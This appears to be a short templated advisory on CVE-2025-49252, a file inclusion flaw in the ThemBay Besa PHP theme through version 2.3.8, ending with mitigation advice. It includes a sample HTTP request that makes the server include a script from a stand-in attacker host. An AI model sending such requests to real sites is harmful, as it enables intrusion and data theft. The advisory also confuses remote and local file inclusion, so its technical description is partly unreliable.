Overview
The identified vulnerability, CVE-2025-49252, is a serious cybersecurity flaw that affects the PHP program in ThemBay’s Besa. This vulnerability, also known as ‘PHP Remote File Inclusion,’ allows unauthorized actors to include local files in PHP programs, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, this vulnerability is of high importance and demands immediate attention from those using affected versions of Besa.
Vulnerability Summary
CVE ID: CVE-2025-49252
Severity: High (CVSS:8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Thembay Besa | Through 2.3.8
How the Exploit Works
The PHP Local File Inclusion vulnerability occurs due to improper control of the filename for Include/Require Statement in a PHP Program. An attacker can remotely inject a file from a server-side script, which, when executed, can lead to unauthorized system access or data leakage. This exploit doesn’t require user interaction, making it particularly dangerous.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability. This is a sample HTTP request, where the attacker injects a malicious payload into the PHP script.
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.comIn this example, `http://attacker.com/malicious_script.txt` is the malicious file hosted on the attacker’s server. When the server-side script executes this request, it will include the malicious file, leading to potential system compromise or data leakage.
Mitigation Steps
The most immediate mitigation step is to apply the vendor-supplied patch. In the absence of such a patch, a temporary mitigation could be implemented through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can filter out malicious requests, thereby preventing the exploitation of this vulnerability. Despite this, patching remains the most effective and permanent solution.